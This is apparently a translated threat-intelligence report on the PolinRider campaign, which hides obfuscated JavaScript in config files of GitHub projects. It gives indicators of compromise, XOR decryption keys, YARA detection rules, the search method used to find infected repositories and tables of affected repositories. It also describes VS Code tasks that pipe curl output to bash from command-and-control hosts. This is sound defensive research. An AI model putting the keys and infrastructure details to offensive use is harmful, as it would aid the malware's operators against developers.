- **`0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e`** (رئيسي)
- **`0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3`** (ثانوي)
نقطة نهاية API: `https://fullnode.mainnet.aptoslabs.com/v1/accounts/`
#### عُقد RPC الخاصة بـ BSC
- `bsc-dataseed.binance.org`
- `bsc-rpc.publicnode.com`
الطريقة: `eth_getTransactionByHash`
### مفاتيح فك تشفير XOR
- **المفتاح الرئيسي:** `2[gWfGj;<:-93Z^C`
- **المفتاح الثانوي:** `m6:tTh^D)cBz?NM]`
### UUID قالب StakingGame
- **`e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9`** — يظهر في حقل `projectInfo.uuid` لملف `.vscode/tasks.json` الخبيث الخاص بقالب المقابلة المزيفة StakingGame. شديد الخصوصية؛ صفر نتائج إيجابية خاطئة في الاختبار.
### قاعدة YARA (مقترحة) — تغطي كلا التنوعين
قاعدة `rmcej_otb_payload` الأصلية (التي لا تزال صالحة للتنوع الأصلي) تم استبدالها بقاعدة متعددة التنوعات تلتقط كلا من السلالة الأصلية `rmcej%otb%` والسلالة المُدوّرة `Cot%3t=shtP`. استخدمها في أنابيب التحليل الثابت.```yara
rule polinrider_payload {
meta:
description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants"
author = "OpenSourceMalware.com"
date = "2026-04-10"
severity = "high"
strings:
// Original variant (rmcej%otb%)
$marker_v1 = "rmcej%otb%"
$seed1_v1 = "2857687"
$seed2_v1 = "2667686"
$varname_v1 = "_$_1e42"
$global_bang = "global['!']"
// New variant (Cot%3t=shtP)
$marker_v2 = "Cot%3t=shtP"
$seed1_v2 = "1111436"
$seed2_v2 = "3896884"
$varname_v2 = "MDy"
$global_V = "global['_V']"
// Common across variants
$global_r = "global['r'] = require"
$global_m = "global['m'] = module"
condition:
any of ($marker_*) or
($global_bang and ($seed1_v1 or $varname_v1)) or
($global_V and ($seed1_v2 or $varname_v2)) or
($global_r and $global_m and (any of ($seed1_*)))
}
```
### YARA Rule (Legacy) — النسخة الأصلية فقط```yara
rule rmcej_otb_payload {
meta:
description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
author = "OpenSourceMalware.com"
date = "2026-03-07"
severity = "high"
strings:
$marker = "rmcej%otb%"
$global = "global['!']"
$seed1 = "2857687"
$seed2 = "2667686"
$varname = "_$_1e42"
condition:
$marker or ($global and $seed1) or ($varname and $seed2)
}
```
---
## جمع البيانات (8 مارس — الطريقة الأصلية)
تم جمع البيانات باستخدام واجهة برمجة تطبيقات بحث كود GitHub عبر `gh search code`، مع تشغيل استعلام واحد لكل اسم ملف مصاب لتجاوز حد 1,000 نتيجة لكل استعلام. تمت إزالة التكرارات بناءً على الاسم الكامل للمستودع.
| اسم الملف المُبحَث عنه | النتائج |
|-------------------|--------:|
| `postcss.config.mjs` | 416 |
| `tailwind.config.js` | 84 |
| `eslint.config.mjs` | 60 |
| `App.js` | 13 |
| `postcss.config.js` | 13 |
| `next.config.mjs` | 12 |
| `index.js` | 6 |
| `astro.config.mjs` | 6 |
| ملفات إعدادات أخرى | 81 |
| **المجموع (قبل التكرار)** | **700** |
| **المستودعات الفريدة** | **675** |
## منهجية التحسين (10 أبريل — الطريقة الموسعة)
وسّع صيد 10 أبريل جمع البيانات من خلال الجمع بين **خمسة محاور متعامدة** وتطبيق استراتيجية **تقسيم حسب الامتداد/الحجم/الفرع** لتجاوز حد 1,000 نتيجة لكل استعلام في بحث كود GitHub على المحور الأقوى.
### المحاور المستخدمة في صيد 10–11 أبريل
| # | المحور | المُحرّك | المستودعات الفريدة المُساهمة |
|---|---|---|---:|
| 1 | `filename:temp_auto_push.bat` | GitHub Code Search | 101 |
| 2 | `"_$_1e42"` (مع تحسين الامتداد/الحجم/الفرع) | GitHub Code Search | 1,323 |
| 3 | `"function MDy(f)" global _V` | GitHub Code Search | 14 |
| 4 | `LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat` | GitHub Code Search | 236 |
| 5 | `Cot%3t=shtP` regex مع `fork:yes archived:yes` | Sourcegraph | 41 |
| **الجولة 1 مجتمعة** | | | **1,556** |
| 6 | `"<malicious_npm_package>" filename:package.json` (7 حزم npm) | GitHub Code Search | 46 |
| 7 | `<url> filename:tasks.json` (vercel.app, onrender.com, 260120.vercel.app) | GitHub Code Search | 145 |
| 8 | `"default-configuration.vercel.app"` و 4 نطاقات فرعية شقيقة `vscode-*.vercel.app` | GitHub Code Search | 94 |
| 9 | `"e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9"` (معرّف قالب StakingGame الفريد) | GitHub Code Search | 42 |
| 10 | تعداد تسلسلي `'8-stN'` 1–200 (التحقق من العلامات التسلسلية غير المفهرسة) | Sourcegraph regex | 0 جديد |
| **الجولة 2 مجتمعة** | | | **+215** |
| **الإجمالي الفريد (كلتا الجولتين + CSV الموجود)** | | | **1,951** |
### تجاوز حد 1,000 نتيجة
أبلغ استعلام اسم دالة المفكك `_$_1e42` عن `total_count: 968` وتم تحديده بـ 1,000 عنصر تم إرجاعه، لكن واجهة الويب لـ GitHub أظهرت أكثر من 1,400 تطابق. أدى تحسين الاستعلامات الفرعية المتعامدة التي يبقى كل منها دون 1,000 نتيجة، ثم أخذ الاتحاد، إلى كسر الحد:
| التفصيل | total_count |
|---|---:|
| `extension:js` | 430 |
| `extension:mjs` | 676 |
| `extension:cjs` | 17 |
| `extension:ts` | 7 |
| `extension:html` | 1 |
| `size:<5000` | 4 |
| `size:5000..6000` | 630 |
| `size:6000..7000` | 125 |
| `size:7000..8000` | 139 |
| `size:8000..9000` | 56 |
| `size:9000..10000` | 36 |
| `size:10000..50000` | 112 |
| `size:>50000` | 12 |
| `fork:true` | **157** (مستبعد افتراضياً!) |
ثلاث نتائج حاسمة من هذه التجربة:
1. **كانت الفجوة الخفية الأكبر هي الفروع.** يستبعد بحث كود GitHub الفروع افتراضياً (`fork:false`). كشفت إضافة `fork:true` عن 157 مستودعاً فرعياً يحتوي على العلامة وكانت غير مرئية تماماً للاستعلام الأصلي.
2. **أدى تقسيم النطاق `size:5000..10000` إلى شرائح بحجم 1 كيلوبايت إلى 986 نتيجة مقارنة بـ 968 التي أبلغت عنها الحاوية** — حتى ضمن عدد إجمالي مبلغ عنه أقل من 1000، يمكن للحد أن يخفي إدخالات. النهج الصحيح هو *التقسيم التكراري* حتى تكون كل حاوية أقل بكثير من الحد.
3. **تنتج تقسيمات `extension:` نتائج إجمالية أكثر من تقسيمات `language:`** لأن اكتشاف اللغة في GitHub يستبعد أحياناً `.mjs` و `.cjs` من حاوية جافا سكريبت.
### اتحاد عبر المُحرّكات (النطاق الحقيقي)
يؤدي الجمع بين بيانات صيد 10–11 أبريل مع ملف `affected_repos.csv` الحالي إلى **النطاق الحقيقي المعروف حالياً**:
| المصدر | المستودعات الفريدة | المالكون الفريدون |
|---|---:|---:|
| المنشور الأصلي في 8 مارس | 675 | 352 |
| `affected_repos.csv` (تحديث 18 مارس) | 769 | 399 |
| إصدار v3 الرئيسي في 10 أبريل (5 محاور) | 1,556 | 835 |
| الجولة 2 في 11 أبريل (5 محاور إضافية) | +215 صافي جديد | +158 صافي جديد |
| **الاتحاد (النطاق الحقيقي، 11 أبريل)** | **1,951** | **1,047** |
### معدل الإيجابيات الكاذبة المُتحقق منه بالعينة
عبر **44 عينة عشوائية** تم أخذها من كلتا جولتي الصيد، لم يتم ملاحظة **أي إيجابيات كاذبة**. احتوى كل مستودع تم أخذ عينة منه على واحد على الأقل من ثوابت PolinRider (`rmcej%otb%`، `Cot%3t=shtP`، `_$_1e42`، `MDy`، `global['!']`، `global['_V']`، `LAST_COMMIT_DATE` داخل ملف `.bat` للانتشار، حزمة npm ضارة معروفة في `package.json`، أو ملف `.vscode/tasks.json` مع أمر `curl | bash` إلى أحد النطاقات الفرعية للقيادة والتحكم المعروفة) في الملف في مسار المحور المفهرس.
قدمت الجولة الثانية تحديداً تصنيفين جديدين للمتغيرات في تصنيف التقديم:
- **`malicious_npm`**: يحتوي المستودع على إحدى حزم npm الضارة السبعة المعروفة في ملف `package.json` (45 تقدماً — جميعها تقريباً إعادة رفع لقالب ShoeVista).
- **`tasksjacker`**: يحتوي المستودع على ملف `.vscode/tasks.json` مع مهمة `runOn: folderOpen` تنفذ `curl | bash` أو `wget | sh` ضد نطاق فرعي للقيادة والتحكم على Vercel/Render/Railway (27 تقدماً — تتضمن مجموعة قالب StakingGame).
---
## الملفات
| الملف | الوصف |
|------|-------------|
| `README.md` | هذا التقرير |
| `polinrider-rides-again.md` | منشور متابعة (11 أبريل) يغطي نمو الحملة، اندماج TasksJacker / PolinRider، والهندسة العكسية الكاملة من البداية إلى النهاية للحمولة |
| `affected_repos.csv` | المستودعات المتأثرة — المؤسسات أولاً، ثم المستخدمون، كل منها مرتبة تنازلياً حسب النجوم+الفروع. **ملاحظة:** اعتباراً من 11 أبريل 2026، يحتوي هذا CSV على 769 إدخالاً من مجموعة 18 مارس. أضافت عمليات صيد 10–11 أبريل حوالي 1,180 مستودعاً جديداً لم يتم دمجها بعد في هذا CSV (يتم تتبعها في `reports/polinrider-master-v3-1556.tsv` و `reports/polinrider-round2-repos.txt`). النطاق الحقيقي المعروف هو **1,951** مستودعاً فريداً. |
| `affected_users.csv` | المالكون المتأثرون — المؤسسات أولاً، ثم المستخدمون، كل منها مرتبة تنازلياً حسب المتابعين. اعتباراً من 11 أبريل 2026، يحتوي على 399 إدخالاً؛ اتحاد صيد أبريل هو **1,047** مالكاً. |
| `reports/polinrider-master-v3-1556.tsv` | القائمة الرئيسية لصيد 10 أبريل: `repo \t osm_status \t threat_id \t severity \t sources` لجميع المستودعات 1,556 التي تم العثور عليها في صيد الإصدار v3 |
| `reports/polinrider-new-v3.tsv` | المستودعات الـ 705 المضافة حديثاً إلى OSM في 10 أبريل 2026 |
| `reports/polinrider-round2-repos.txt` | القائمة الرئيسية النظيفة للجولة 2 (239 مستودعاً فريداً من المحاور الجديدة الخمسة) |
| `reports/polinrider-round2-submissions-2026-04-11.tsv` | المستودعات الـ 72 المضافة حديثاً إلى OSM في 11 أبريل 2026 (الجولة 2) |
| `reports/polinrider-scope-v3-2026-04-10.md` | تقرير نطاق الإصدار v3 الكامل بما في ذلك منهجية التحسين وتحليل الإيجابيات الكاذبة |
| `reports/polinrider-submissions-2026-04-10.md` | تقرير التقديم الجماعي لتقارير التهديدات الـ 704 لـ OSM المقدمة في 10 أبريل 2026 |
| `reports/polinrider-scope-v3-2026-04-10.md` | تقرير نطاق الإصدار v3 |
---
## المستودعات المُخترَقة
يمكن العثور على جميع المستودعات المُخترَقة من خلال وسم OpenSourceMalware [#polinrider](https://opensourcemalware.com/?search=%23polinrider).
### تحديد الأولويات للتواصل
تم ترتيب ملفات CSV الكاملة حسب الأثر لفرز الأولويات.
#### أهم المستودعات حسب النجوم + الفروع
| المستودع | النجوم | الفروع | الملف المُصاب |
|------------|------:|------:|---------------|
| `Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform` | 6 | 11 | `postcss.config.mjs` |
| `Victorola-coder/tewo` | 9 | 6 | `tailwind.config.js` |
| `Kreliannn/Document-Request-System-FRONTEND` | 8 | 1 | `postcss.config.mjs` |
| `Atik203/Scholar-Flow` | 4 | 4 | `postcss.config.mjs` |
| `sparktechagency/Vap-shop-Front-End-` | 7 | 0 | `postcss.config.mjs` |
| `Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND` | 7 | 0 | `postcss.config.mjs` |
| `coderkhalide/Anti-Detect-Browser` | 2 | 4 | `tailwind.config.js` |
| `tanushbhootra576/Bionary-Website-Challenge-and-final` | 4 | 2 | `tailwind.config.js` |
| `tanushbhootra576/collegeConnect` | 5 | 1 | `postcss.config.mjs` |
| `Kreliannn/commision_portfolio` | 6 | 0 | `postcss.config.mjs` |
#### أهم المؤسسات حسب المتابعين
| المؤسسة | المتابعون | المستودعات المتأثرة |
|--------------|----------:|---------------:|
| `sparktechagency` | 130 | 12 |
| `FSDTeam-SAA` | 21 | 12 |
| `Softvence-Omega-Dev-Ninjas` | 18 | 4 |
| `Codechef-VITC-Student-Chapter` | 17 | 1 |
| `softvence-omega-future-stack` | 11 | 4 |
| `The-Extra-Project` | 11 | 1 |
| `etrainermis` | 7 | 1 |
| `tricodenetwork` | 7 | 1 |
| `Binary-Mindz` | 6 | 1 |
| `Gamage-Recruiters-406` | 5 | 1 |
#### أهم المستخدمين الأفراد حسب المتابعين
| المستخدم | المتابعون | المستودعات المتأثرة |
|------|----------:|---------------:|
| `coderkhalide` | 349 | 4 |
| `finom` | 172 | 4 |
| `Victorola-coder` | 121 | 1 |
| `dhruvmalik007` | 87 | 6 |
| `saif72437` | 57 | 2 |
| `a-belard` | 43 | 1 |
| `Muhammadfaizanjanjua109` | 39 | 1 |
| `Nathanim1919` | 38 | 5 |
| `kanchana404` | 33 | 3 |
| `AKDebug-UX` | 30 | 4 |
> **الأهداف ذات الأولوية:** `sparktechagency` (130 متابعاً، 12 مستودعاً) و `FSDTeam-SAA` (21 متابعاً، 12 مستودعاً) هما أكبر المؤسسات من حيث الحجم. بين الأفراد، يتمتع `coderkhalide` (349 متابعاً) بأوسع نطاق وصول مباشر.
---
### جميع المستودعات المُخترَقة حتى 8 مارس 2026| # | Repository | Owner | Owner Type | Stars | Forks | Infected Files | File Paths | Description | Repo URL |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Organization | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform |
| 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Organization | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – منصة اجتماعية وتجارة إلكترونية B2B تربط بين المستخدمين والمتاجر والعلامات التجارية وتجار الجملة مع ميزات اجتماعية في الوقت الفعلي وتحسين متقدم لمحركات البحث. | https://github.com/sparktechagency/Vap-shop-Front-End- |
| 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Organization | 1 | 3 | 1 | postcss.config.mjs | هذا هو مستودع الواجهة الأمامية لشركة سيلكتا لوحدة MIS. | https://github.com/MIS-Silekta/silekta-frontend |
| 4 | UzairOrganization/allTask | UzairOrganization | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask |
| 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend |
| 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Organization | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend |
| 7 | SoftySkills/quiz_app | SoftySkills | Organization | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app |
| 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Organization | 3 | 0 | 1 | eslint.config.mjs | خادم تطبيق Rayyan | https://github.com/dawahanigeria-team/rayyan-server |
| 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time هي منصة مدعومة بالذكاء الاصطناعي تتيح للمستخدمين إنشاء كتب قصصية مخصصة باستخدام أصواتهم ووجوههم كشخصيات. تحول رواية القصص إلى تجربة سحرية وتفاعلية وشخصية للغاية. | https://github.com/FSDTeam-SAA/sahara_53 |
| 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/lowready-frontend |
| 11 | Addis-Career/Frontend | Addis-Career | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/Addis-Career/Frontend |
| 12 | etrainermis/mineduc-Form | etrainermis | Organization | 0 | 1 | 1 | postcss.config.mjs | منتدى احتفالات اليوم العالمي للغة السواحلية EAC World | https://github.com/etrainermis/mineduc-Form |
| 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/brazen-kits |
| 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/Igghy-dashboard |
| 15 | FlowBondTech/danz-miniapps | FlowBondTech | Organization | 0 | 1 | 2 | danz-main/postcss.config.mjs \| daily-danz/postcss.config.mjs | | https://github.com/FlowBondTech/danz-miniapps |
| 16 | BrennansWave-com/brennanswave | BrennansWave-com | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/BrennansWave-com/brennanswave |
| 17 | FlowBondTech/danz-web | FlowBondTech | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FlowBondTech/danz-web |
| 18 | QualifyAI/qualify-frontend | QualifyAI | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/QualifyAI/qualify-frontend |
| 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Organization | 0 | 1 | 1 | src/router/index.js | | https://github.com/FSDTeam-SAA/ftfdesignco-backend |
| 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/Gamage-Recruiters-406/Rent_a_Car |
| 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Organization | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Umbrelabs-Projects/Procobiz |
| 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | نسخة النشر من إصدار Laurent لـ Extra-surface. | https://github.com/The-Extra-Project/Extra_surface_repo |
| 23 | Automobile-System/frontend | Automobile-System | Organization | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Automobile-System/frontend |
| 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Organization | 1 | 0 | 1 | tailwind.config.js | مستودع المرحلة 1 من MVP | https://github.com/VplayProCrypto/mvp_vercel |
| 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/nskustoms_custom_game_site-2.0 |
| 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/softvence-omega-future-stack/gameluke-frontend |
| 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/NexumTechnologies/E-Commerce |
| 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | هذا المستودع مخصص لمن سيقومون بتسجيل المسؤولين | https://github.com/Umbrelabs-Projects/Hostella-superAdmin |
| 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/admin-dashboard-gman |
| 30 | sparktechagency/protippz_website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/protippz_website |
| 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Organization | 0 | 0 | 1 | postcss.config.mjs | تطبيق الواجهة الأمامية لـ FlowConnect | https://github.com/FlowRMS/flow-connect-frontend-new |
| 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Anthem-InfoTech-Pvt-Ltd/dashboards |
| 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Organization | 0 | 0 | 1 | postcss.config.mjs | بناء منصة تنسيق الوكلاء الأساسية السيادية والمدفوعة بالرموز والمبنية لمجتمع web3. مساهمة في هاكاثون ethdenver. | https://github.com/WeOwnAiAgents-Hackerhouse/WeOwnAiAgent |
| 34 | Karigar-App/Karigar | Karigar-App | Organization | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | https://github.com/Karigar-App/Karigar |
| 35 | sparktechagency/silicon-zisan-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/silicon-zisan-website |
| 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/hinkel-Website |
| 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/iwmsadvisors |
| 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | منصة إدارة Hostella | https://github.com/Umbrelabs-Projects/Hostella-admin |
| 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | منصة حجز السكن الطلابي Hostella | https://github.com/Umbrelabs-Projects/Hostella-stu |
| 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Organization | 0 | 0 | 1 | userportal/postcss.config.mjs | بوابة المستخدم + طبقة الإدارة \| إدارة الحصص، تطبيق القواعد، التحقق من صحة مفتاح API. | https://github.com/iwb25-412-vertex-prime/apigateway-v1 |
| 41 | Cloudrika/cloudrika-web | Cloudrika | Organization | 0 | 0 | 2 | packages/ui/postcss.config.mjs \| apps/email-portal/next.config.mjs | | https://github.com/Cloudrika/cloudrika-web |
| 42 | sparktechagency/consult_dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/consult_dashboard |
| 43 | sparktechagency/jonowoods-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/jonowoods-website |
| 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend |
| 45 | sparktechagency/profitable-website-v2 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/profitable-website-v2 |
| 46 | musetax/Amus-fe | musetax | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/musetax/Amus-fe |
| 47 | sparktechagency/faceAi-front-end | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/faceAi-front-end |
| 48 | sparktechagency/any-job-dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/any-job-dashboard |
| 49 | sparktechagency/anyjob-web | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/anyjob-web |
| 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/softvence-omega-future-stack/lawalx_frontend |
| 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/softvence-omega-future-stack/kilian-rodhe-last- |
| 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Organization | 0 | 0 | 1 | apps/web/postcss.config.mjs | بناء البنية التحتية لـ #FedArch orchestration مع سجل وكلاء على السلسلة. تقديم لهاكاثون ETHDenver 2026 | https://github.com/WeOwnNetwork/EthDenver-submission |
| 53 | sparktechagency/betopia-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/betopia-website |
| 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FlowRMSLabs/flowdemandwebsite |
| 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/BhavikPatel-dreamz/wove-gift-portal |
| 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos |
| 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/GARAGE-POS/nextjs_test |
| 58 | BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | Homeopathway | https://github.com/BhavikPatel-dreamz/Homeopathway |
| 59 | digitalschool-tech/tech-static | digitalschool-tech | Organization | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/digitalschool-tech/tech-static |
| 60 | tricodenetwork/lock-up | tricodenetwork | Organization | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/tricodenetwork/lock-up |
| 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Organization | 0 | 0 | 1 | tailwind.config.js | هذا يحتوي على تطبيق React التجريبي لاختبار نهج iframe | https://github.com/Sahl-AI/sahl-ai-iframe |
| 62 | dawahanigeria-team/domainping | dawahanigeria-team | Organization | 0 | 0 | 1 | frontend/tailwind.config.js | | https://github.com/dawahanigeria-team/domainping |
| 63 | shahid538org/microrealestate | shahid538org | Organization | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | https://github.com/shahid538org/microrealestate |
| 64 | orynth-dev/vite-shadcn-template | orynth-dev | Organization | 0 | 0 | 1 | tailwind.config.js | | https://github.com/orynth-dev/vite-shadcn-template |
| 65 | FlowBondTech/egator | FlowBondTech | Organization | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator - محرك تجميع الأحداث المدعوم بالذكاء الاصطناعي (ETHDenver via Luma) | https://github.com/FlowBondTech/egator |
| 66 | sparktechagency/u_tee_hub | sparktechagency | Organization | 0 | 0 | 1 | tailwind.config.js | | https://github.com/sparktechagency/u_tee_hub |
| 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Organization | 0 | 0 | 2 | tailwind.config.js \| src/tailwind.config.js | | https://github.com/Enigma-Incorporated-Ltd/N0DE-Website |
| 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Organization | 0 | 0 | 1 | tailwind.config.js | | https://github.com/FSDTeam-SAA/AMES_Investment_new |
| 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Organization | 0 | 0 | 1 | docs/tailwind.config.js | يتكون هذا من سير عمل النموذج الأولي لواجهة المستخدم المتعلقة بنظام Olas (لتمكين المستخدمين من تشغيل تطبيق MCP للتفاعلات على السلسلة). | https://github.com/Frontier-tech-consulting/olas-mcp-application-workflow |
| 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/vic_pec_server_app |
| 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/jdadzok_server |
| 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Organization | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Binary-Mindz/agimtula_server |
| 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/alvaaro-server |
| 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Organization | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Cyber-Monk/nishant-server |
| 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Organization | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/softvence-omega-future-stack/huss-be |
| 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | src/App.js | | https://github.com/BhavikPatel-dreamz/Products-filters-react |
| 77 | Victorola-coder/tewo | Victorola-coder | User | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | https://github.com/Victorola-coder/tewo |
| 78 | Atik203/Scholar-Flow | Atik203 | User | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow هي منصة SaaS مصممة للباحثين والطلاب والأساتذة والفرق الأكاديمية لرفع وتنظيم ومراجعة الأوراق البحثية باستخدام المجموعات والتعليقات التوضيحية والبحث والتعاون الجماعي في مكتبة بحثية مشتركة | https://github.com/Atik203/Scholar-Flow |
| 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | User | 8 | 1 | 1 | postcss.config.mjs | نظام قائم على الويب يسمح للسكان بطلب وثائق البارانجاي عبر الإنترنت دون زيارة قاعة البارانجاي. يمكن للسكان تتبع حالة طلباتهم وتلقي إشعارات البريد الإلكتروني وعرض سجل الطلبات. يمكن لمسؤول البارانجاي إدارة الطلبات وتحديث الحالات وتتبع سجل المعاملات. | https://github.com/Kreliannn/Document-Request-System-FRONTEND |
| 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | User | 2 | 4 | 1 | src/renderer/tailwind.config.js | | https://github.com/coderkhalide/Anti-Detect-Browser |
